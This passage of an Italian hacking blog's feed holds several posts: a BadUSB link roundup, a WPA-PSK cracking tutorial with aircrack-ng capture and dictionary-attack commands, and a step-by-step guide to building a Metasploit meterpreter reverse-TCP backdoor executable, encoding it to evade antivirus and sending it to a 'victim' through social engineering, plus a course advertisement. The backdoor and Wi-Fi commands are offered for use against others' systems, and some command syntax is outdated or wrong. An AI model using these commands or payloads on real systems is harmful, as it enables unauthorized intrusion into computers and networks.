&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Vi consiglio infine, di dare un occhiata anche al file, scaricabile dal sito dei relatori, chiamato &quot;BadAndroid&quot;, il quale permette di effettuare un DNS Spoofing andando a modificare il protocollo usb dei telefoni android in modo che, una volta attaccato al computer il telefono, effettui appunto una redirottazione del traffico di determinati siti verso un sito a nostro piacimento (vi consiglio di dare una letta a &lt;a href=&quot;http://duxhack.blogspot.it/2013/02/payload-injection-tramite-site-cloning.html&quot;&gt;questo articolo&lt;/a&gt;, in proposito). Nell&#39;archivio, è presente una guida dettagliata all&#39;uso, nel file ReadME&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=nuruzFqMgIw&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Presentazione del BadUSB al BlackHat 2014&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;span style=&quot;color: #0000ee; font-family: Verdana, sans-serif; text-decoration: underline;&quot;&gt;&lt;a href=&quot;https://github.com/adamcaudill/Psychson&quot;&gt;PoC&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;a href=&quot;http://presentazione%20del%20badusb%20al%20blackhat%202014/&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Articolo interessante sui possibili sviluppi di questo attacco&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;a href=&quot;https://srlabs.de/badusb/&quot;&gt;Sito dei relatori&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
A presto&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/7330825011009603299/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2014/10/badusb-cose-e-come-utilizzarlo.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7330825011009603299'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7330825011009603299'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2014/10/badusb-cose-e-come-utilizzarlo.html' title='BadUSB cos&#39;è e come utilizzarlo'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCl30Srb31hLeS9ZDIYj2U9r222aA8Xi1vRiHHXZQYGsX01t6CShT9ZO42kvhDNyX_2PhLUOE2KSnY5g591dUWBSuwHqJzegkXwqWSxLMTScrRkuqhZsmtHIdRpWhDw1a9hZVIz5Mkhns/s72-c/BadUsb.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-1765765555249086358</id><published>2013-08-14T17:19:00.001+02:00</published><updated>2013-08-14T17:22:20.631+02:00</updated><title type='text'>Crackare WPA di qualunque router</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFENUbtR2xDcLq0g8XtRMAxu45N0HxiiIn4_aQ6GS01xhS3umyaYSenZ4ErMBqixrFo31bJSZw-NUHQ9iT_WVYOYTt31WceSNmoG6sf93VW10uaiHCvVRHhEHK78Ka3njIpg_XdGRz5FbX/s640/blogger-image--431305053.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFENUbtR2xDcLq0g8XtRMAxu45N0HxiiIn4_aQ6GS01xhS3umyaYSenZ4ErMBqixrFo31bJSZw-NUHQ9iT_WVYOYTt31WceSNmoG6sf93VW10uaiHCvVRHhEHK78Ka3njIpg_XdGRz5FbX/s640/blogger-image--431305053.jpg&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.296875); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;Tutti parlano di quanto sia semplice il cracking delle WPA dei router Alice e Fastweb, ma nessuno ha mai parlato di come crackare le password dei router di altri gestori. Questo perchè è molto più difficile sia in linea teorica, che pratica.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Noi comunque andremo a scoprire tutta la parte teorica, e il se passare alla pratica lo deciderete voi, anche perchè comporta una spesa non da poco.&lt;/div&gt;&lt;div&gt;Andiamo per ordine, come prima cosa dobbiamo parlare dei vari sistemi di sicurezza delle reti wireless&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Sistemi di sicurezza&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Oltre alle forme di sicurezza basilari, quali il nascondere la rete wireless e il filtro dei Mac address, ci sono dei sistemi di sicurezza che agiscono al livello 2 del modello OSI.&lt;/div&gt;&lt;div&gt;Quando si parla di protezione delle reti wireless, bisogna differenziare i metodi di autenticazione da quelli di cifratura. L&#39;autenticazione, oltre a dare un&#39; identità al client deve anche generare una chiave come parametro della funzione di cifratura.&lt;/div&gt;&lt;div&gt;I metodi di autenticazione, sono sostanzialmente 2:&lt;/div&gt;&lt;div&gt;- WpA-PSK: &lt;b&gt;W&lt;/b&gt;ifi &lt;b&gt;P&lt;/b&gt;rotected &lt;b&gt;A&lt;/b&gt;ccess - &lt;b&gt;P&lt;/b&gt;re-&lt;b&gt;S&lt;/b&gt;hared &lt;b&gt;K&lt;/b&gt;ey, il quale cifra le connessioni tramite una chiave precondivisa da passare come parametro alla funzione di cifratura&lt;/div&gt;&lt;div&gt;-Wpa Enterprise: è un sistema di autenticazione che veicola le comunicazioni ad un server RADIUS e che supporta vari protocolli autenticazione, tra i quali EAP (Extensible Authentication Protocol), EAP-TTLS, PEAP ed EAP-Fast&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;WPA2 è un sistema di autenticazione molto più sicuro del suo predecessore WPA perchè supporta la cifratura con TKIP, ma soprattutto con AES (&lt;b&gt;A&lt;/b&gt;dvanced &lt;b&gt;E&lt;/b&gt;ncryption &lt;b&gt;S&lt;/b&gt;ystem).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;Per quanto riguarda la cifratura ne ho gia citati 2 di 3, e il terzo è il più conosciuto per la sua estrema facilità di crack.&lt;/div&gt;&lt;div&gt;I sistemi di cifratura, sono quindi 3:&lt;/div&gt;&lt;div&gt;-&lt;b&gt;WEP&lt;/b&gt; (&lt;b&gt;W&lt;/b&gt;ired &lt;b&gt;E&lt;/b&gt;quivalent &lt;b&gt;P&lt;/b&gt;rivacy):&amp;nbsp;&lt;/div&gt;&lt;div&gt;non spiegherò la pratica del cracking di questo sistema di cifratura perchè si trovano milioni di guide con una semplice ricerca su google, ma ve ne spiegherò la teoria, la quale è piú difficile da trovare.&lt;/div&gt;&lt;div&gt;Esistono due metodi per il cracking di questo tipo di reti: l&#39;attacco passivo, che richiede molto tempo e l&#39;attacco ARP replay con falsa autenticazione.&lt;/div&gt;&lt;div&gt;Il secondo è una completazione del primo, ora vediamo il perchè.&lt;/div&gt;&lt;div&gt;La criptazione dati di WEP, è semplicemente data dallo XOR del testo con la chiave di criptazione, che chiameremo keystream.&lt;/div&gt;&lt;div&gt;Questa keystream, è a sua volta data dalla chiave di criptazione nel router + un vettore di inizializzazione (IV), il quale viene posto alla fine dell&#39;header di ogni frame. Essendo questo IV di 24 bit, è molto probabile che nello scambio di frame ci siano vari IV uguali, quindi confrontando molti frame con IV uguali, con un buon calcolatore si può trovare la chiave in breve tempo.&lt;/div&gt;&lt;div&gt;Quando WEP venne rilasciato, per raccogliere molti frame, ci voleva molto tempo, anche in base all&#39;attività sulla rete, quindi l&#39;attacco passivo, poteva richiedere molto tempo.&lt;/div&gt;&lt;div&gt;Dopo qualche tempo venne scoperto che l&#39;algoritmo WEP era vulnerabile all&#39;attacco replay, cioè un attacco che permette di generare centinaia di frame in pochi secondi. In questo modo la fase di raccolta dati sarà ridotta a meno di 10 minuti, e il crack della password, sarà molto più semplice, data la grande quantità di dati da poter elaborare.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;TKIP &lt;/b&gt;(&lt;b&gt;T&lt;/b&gt;emporal &lt;b&gt;K&lt;/b&gt;ey &lt;b&gt;I&lt;/b&gt;ntegrity &lt;b&gt;P&lt;/b&gt;rotocol)&lt;/div&gt;&lt;div&gt;Quando si vennero a sapere tutte le vulnerabilità del protocollo WEP si sentì l&#39;esigenza di creare un altro sistema di sicurezza, che fosse supportato dagli hardware di vecchia generazione, in modo che sarebbe bastato un semplice aggiornamento del firmware per eliminare il problema di WEP.&lt;/div&gt;&lt;div&gt;WPA si basa su questo sistema di cifratura, e utilizza solo questo.&lt;/div&gt;&lt;div&gt;In seguito andremo quindi a vedere come si può bucare questo protocollo.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;AES-CCPM&lt;/b&gt;&amp;nbsp;(&lt;b&gt;A&lt;/b&gt;dvanced &lt;b&gt;E&lt;/b&gt;ncryption &lt;b&gt;S&lt;/b&gt;ystem - &lt;b&gt;C&lt;/b&gt;ounter Mode&amp;nbsp;with &lt;b&gt;C&lt;/b&gt;ipher Block Channing &lt;b&gt;M&lt;/b&gt;essage Authentication Code &lt;b&gt;P&lt;/b&gt;rotocol)&lt;/div&gt;&lt;div&gt;Questo sistema di cifratura è nato insieme a TKIP, ma non è supportato dal vecchio hardware. É sicuramente il sistema di sicurezza più sicuro, ed è ora supportato da WPA2 in tutti i router attualmente disponibili.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;CRACKING DI WPA-PSK&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Quando parliamo del cracking di WPA, parliamo indirettamente del cracking di TKIP.&lt;/div&gt;&lt;div&gt;Al momento non sono ancora state trovate falle importanti in questo protocollo, per questo è rimasto, tutt&#39;ora, molto popolare.&lt;/div&gt;&lt;div&gt;Quindi ora vi starete chiedendo come sia possibile trovare una password per questo tipo di protocollo.&lt;/div&gt;&lt;div&gt;Ebbene, come molti sapranno, spesso, in questi casi, vanno usati il dictionary attack e il bruteforce.&lt;/div&gt;&lt;div&gt;Il problema fondamentale è che queste password possono essere dai 3 ai 63 caratteri ASCII e vengono sottoposte all&#39;hashing per 4096 volte. Questa password è, in questo caso, la Pre-Shared Key (PSK). La PSK serve a generare due chiavi di cifratura che poi verranno passate alla funzione: la PTK e la GTK.&lt;/div&gt;&lt;div&gt;Vi starete chiedendo come si possa ora effettuare un bruteforce, e come possa essere questo attacco veramente efficace.&lt;/div&gt;&lt;div&gt;L&#39;efficacia, mi permetto di dire, che è data principalmente dal fatto che si possa lavorare offline. Ma su cosa? Bhè, dato che la creazione di queste due chiavi avviene durante un processo di autenticazione chiamato four-way handshake, intercettando questo processo potremo tentare di brutare la chiave precondivisa.&lt;/div&gt;&lt;div&gt;Fare questo è la cosa più facile del mondo, con aircrack-ng.&lt;/div&gt;&lt;div&gt;Questo è il comando:&lt;/div&gt;&lt;div&gt;aircrack-ng --channel &quot;channel della rete&quot; --write handshake --bssid &quot;bssid della rete&quot; mon0&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.296875); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Scandagliamo: l&#39;opzione --write, serve a scrivere l&#39;handshake in un file che io ho chiamato handshake, l&#39;opzione --bssid serve a focalizzare lo sniff sulla rete bersaglio, e mon0 è la nostra interfaccia di rete, precedentemente messa in monitor mod.&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;Fatto questo potremo dare in pasto ad aircrack-ng stesso, il file, indicando anche un file contenente il dizionario, per&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;iniziare offline il dictionary attack.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;Per fare questo, utilizzeremo il seguente comando:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;aircrack-ng -w dizionario.lst Handshake.cap&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-tap-highlight-color: rgba(26, 26, 26, 0.292969); -webkit-composition-fill-color: rgba(175, 192, 227, 0.230469); -webkit-composition-frame-color: rgba(77, 128, 180, 0.230469); &quot;&gt;&lt;br&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Scandagliamo: l&#39;opzione -w serve per indicare il dizionario, mentre Handshake.cap è il file che abbiamo scritto precedentemente.&lt;/div&gt;&lt;div&gt;Il programma per verificare che la chiave sia veramente esatta deve effettuare l&#39;hashing della parola, anch&#39;esso per 4096 volte. Questa operazione richiede tempo, ma nonostante ciò il programma può elaborare circa 2500 parole al secondo, con un processore moderno. Nonostante questo sia già sbalorditivo, esistono due metodi che permettono di centuplicare il risultato di calcolo. Il primo di questi è l&#39;uso delle rainbow tables precalcolate. Il problema di queste è che necessitano di un SSID comune, poichè l&#39;hashing è fatto proprio con l&#39;SSID della rete.&lt;/div&gt;&lt;div&gt;Un altro metodo per velocizzare il bruteforcing è l&#39;utilizzo della GPU, il nostro processore grafico, poiche è molto più efficente dei processori normali. In base alla potenza della vostra scheda grafica potrete ottenere delle prestazioni anche superiori all&#39;uso delle rainbow tables.&lt;/div&gt;&lt;div&gt;Con questo ho concluso.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/1765765555249086358/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2013/08/crackare-wpa-di-qualunque-router.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1765765555249086358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1765765555249086358'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2013/08/crackare-wpa-di-qualunque-router.html' title='Crackare WPA di qualunque router'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFENUbtR2xDcLq0g8XtRMAxu45N0HxiiIn4_aQ6GS01xhS3umyaYSenZ4ErMBqixrFo31bJSZw-NUHQ9iT_WVYOYTt31WceSNmoG6sf93VW10uaiHCvVRHhEHK78Ka3njIpg_XdGRz5FbX/s72-c/blogger-image--431305053.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-9064837101722476937</id><published>2013-03-17T20:33:00.001+01:00</published><updated>2013-03-17T20:33:25.370+01:00</updated><title type='text'>Creazione di un Backdoor con i PayLoads di Metasploit</title><content type='html'>&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRYKHY6w4C1dsnSzTP9-cSElKjqqAYd08aZ0waniPgbN5hmm3W1SodmZ2TwAPe3J6XQnaIRFmiY1jmSFFNS6c8h0bbx_cXHkl-fpzhvlaZNU2Yrt_lR_tqquyMdNl8-ubVm0qJNiWaeXxq/s1600/Virus+Backdoor.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRYKHY6w4C1dsnSzTP9-cSElKjqqAYd08aZ0waniPgbN5hmm3W1SodmZ2TwAPe3J6XQnaIRFmiY1jmSFFNS6c8h0bbx_cXHkl-fpzhvlaZNU2Yrt_lR_tqquyMdNl8-ubVm0qJNiWaeXxq/s320/Virus+Backdoor.jpg&quot; width=&quot;239&quot; /&gt;&lt;/a&gt;Quasi tutti i Pentesters e gli appassionati di informatica non specializzati, conosceranno il famigerato framework &quot;Metasploit&quot;. Chi non lo conosce si informi, perché ha un bel mondo da scoprire avanti a se.&lt;br /&gt;
Chi ha mai tentato di effettuare un pentesting su un sistema (anche quello di casa sua), conoscerà il grande &quot;msfpayload&quot; che in pratica è il tool che permette al pentester di avere il controllo del pc exploitato. Però, molti non sanno che i payload generati possono anche essere racchiusi in un eseguibile da mandare alla nostra vittima manualmente, quindi chi non riuscisse a trovare una vulnerabilità del sistema, può sempre affidarsi a questo metodo secondario che richiede semplicemente il buon vecchio social engineering.&lt;br /&gt;
&lt;br /&gt;
Bando alle ciance e ciancio alle bande, quel che voglio mostrarvi oggi è proprio questo ed è ottenibile tramite una funzione già integrata nell&#39;msfpayload, quindi per fare un articolo un po più ricco, vedremo come attaccare un sistema tramite questa tecnica, usando come payload il classico meterpreter in reverse_tcp criptato in modo da essere quasi FUD&lt;br /&gt;
&lt;br /&gt;
Mettiamo mano a backtrack (usate quel che volete), e come prima con il comando &quot;ifconfig&quot; vediamo qual&#39;è il local host.&lt;br /&gt;
Capito questo, nel mio caso 192.168.1.4, vediamo come creare un file con estensione .exe tramite metasploit, ma senza alcuna criptazione:&lt;br /&gt;
- msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 X &amp;gt; meterpreter.exe&lt;br /&gt;
&lt;br /&gt;
Quel parametro &quot;X &amp;gt; meterpreter.exe&quot; è proprio quello che ci interessa per creare il file, che si chiamerà appunto &quot;meterpreter.exe&quot;.&lt;br /&gt;
&lt;br /&gt;
Adesso invece, cambieremo qualche cosetta in modo da rendere il nostro backdoor completamente non rilevabile dagli antivirus, con questo comando:&lt;br /&gt;
&lt;br /&gt;
-msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 R | msfencode -t exe -c 2 -x /root/Desktop/file.exe &amp;gt; encoded.exe&lt;br /&gt;
&lt;br /&gt;
Attenzione, analizziamo insieme il comando. L&#39;opzione R serve a passare il comando all&#39;msfencode, &quot;-t&quot; specifica l&#39;estensione del file da criptare, &quot;-c&quot; imposta il numero di criptazioni e &quot;-x /root/Desktop/file.exe&quot; serve a implementare il payload nel file.&lt;br /&gt;
In questo modo avrete ottenuto un vero e proprio backdoor con connessione reverse tcp e con una grande possibiltà di bypassing degli antivirus.&lt;br /&gt;
&lt;br /&gt;
Ovviamente, per poter far funzionare il nostro eseguibile avremo infine bisogno di un qualcosa che ci faccia da client per il ricevimento delle informazioni e questo è ottenibile, semplicemente digitando:&lt;br /&gt;
&lt;br /&gt;
-msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.1.4 lport=4444 E&lt;br /&gt;
&lt;br /&gt;
Così facendo, appena il client troverà la connessione in entrata aprirà la sessione di meterpreter e sarete dentro.&lt;br /&gt;
&lt;br /&gt;
A presto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/9064837101722476937/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2013/03/creazione-di-un-backdoor-con-i-payloads.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/9064837101722476937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/9064837101722476937'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2013/03/creazione-di-un-backdoor-con-i-payloads.html' title='Creazione di un Backdoor con i PayLoads di Metasploit'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRYKHY6w4C1dsnSzTP9-cSElKjqqAYd08aZ0waniPgbN5hmm3W1SodmZ2TwAPe3J6XQnaIRFmiY1jmSFFNS6c8h0bbx_cXHkl-fpzhvlaZNU2Yrt_lR_tqquyMdNl8-ubVm0qJNiWaeXxq/s72-c/Virus+Backdoor.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-7817992107866997107</id><published>2013-02-23T11:27:00.001+01:00</published><updated>2013-02-23T11:27:41.440+01:00</updated><title type='text'>eLearnSecurity Students pack v2 a breve rilasciato</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnDvU2FGUXiVLiMXqSfg9LjCMBTUMhqFzpEtslT-Cw6GYHAOr7YgN4uiE1hFX9DO8RdXAaKJthuraub9GEerVA_1KdjPZreF02oYUUapsWmuHTWiP88oQWtfQASIMOG1Z2ygIqx0pwFWtn/s1600/Pentesting+corso+v2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnDvU2FGUXiVLiMXqSfg9LjCMBTUMhqFzpEtslT-Cw6GYHAOr7YgN4uiE1hFX9DO8RdXAaKJthuraub9GEerVA_1KdjPZreF02oYUUapsWmuHTWiP88oQWtfQASIMOG1Z2ygIqx0pwFWtn/s320/Pentesting+corso+v2.png&quot; width=&quot;245&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Tutti gli appassionati di PenTesting conosceranno eLearnSecurity, la compagnia Italiana che ha inizializzato al PT migliaia di persone con guide studiate nel dettaglio per fornire ai beginners appassionati, tutti li strumenti per fare pratica, con la teoria sotto mano...&lt;br /&gt;
Per chi non lo conoscesse, consiglio vivamente di visitare il sito e dare un&#39;occhiata alle svariate possibilità di apprendimento fornite.&lt;br /&gt;
Bando alle ciance, martedì 19 febbraio, durante un loro webinar, al quale ho volentieri assistito, hanno annunciato il lancio dello &amp;nbsp;Penetration Testing student v.2, cioè un pacchetto attualissimo, trattante tutte le svariate sfaccettature del pentesting; dalla sicurezza sul web (sniffing e i vari attacchi) alla sicurezza delle applicazione web (trattando xss, sql injection e quant&#39;altro...), senza dimenticarsi ovviamente della sicurezza dei programmi e del sistema (con una breve introduzione all&#39;asm al c++ e al C, e lo studio di attacchi come il buffer overflow, stack overflow...).&lt;br /&gt;
&lt;br /&gt;
Io lo consiglio veramente a tutti quelli che hanno tempo e passione per addentrarsi nell&#39;argomento, poiché tratta veramente in modo ben fatto tutti gli argomenti che, se studiati sul web, richiedono il triplo del tempo di studio.&lt;br /&gt;
Per tutte le informazioni, visitate il sito &lt;a href=&quot;http://www.elearnsecurity.com/&quot;&gt;ELearnSecurity&lt;/a&gt;&amp;nbsp;e ordinate il vostro pacchetto.&lt;br /&gt;
La data di uscita ufficiale è il 26 febbraio.&lt;br /&gt;
Buono studio a tutti.</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/7817992107866997107/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2013/02/elearnsecurity-students-pack-v2-breve.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7817992107866997107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7817992107866997107'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2013/02/elearnsecurity-students-pack-v2-breve.html' title='eLearnSecurity Students pack v2 a breve rilasciato'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnDvU2FGUXiVLiMXqSfg9LjCMBTUMhqFzpEtslT-Cw6GYHAOr7YgN4uiE1hFX9DO8RdXAaKJthuraub9GEerVA_1KdjPZreF02oYUUapsWmuHTWiP88oQWtfQASIMOG1Z2ygIqx0pwFWtn/s72-c/Pentesting+corso+v2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-2484295927851309323</id><published>2013-02-11T11:38:00.001+01:00</published><updated>2013-02-25T13:38:21.179+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="pen testing"/><title type='text'>Payload Injection tramite Site cloning e Dns Spoofing con BT5</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
